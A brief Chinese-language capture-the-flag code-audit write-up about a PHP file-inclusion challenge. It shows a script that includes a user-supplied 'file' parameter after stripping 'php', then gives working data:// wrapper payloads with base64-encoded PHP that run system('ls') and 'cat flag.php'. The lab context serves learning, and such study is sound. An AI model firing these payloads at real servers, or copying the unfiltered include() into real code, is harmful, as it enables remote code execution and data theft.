代码审计
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
//这里对file变量里的php替换成???
include($file);
}else{
highlight_file(__FILE__);
}
这里对变量里的
php
进行了过滤,所以不能考虑php
伪协议,考虑用data
伪协议进行读取
```shell ?file=data://text/plain;base64,<?php system(‘ls’);?>
base64进行编码
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8%2b

```shell
?file=data://text/plain;base64,<?php system('cat flag.php');?>
#base64进行编码
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==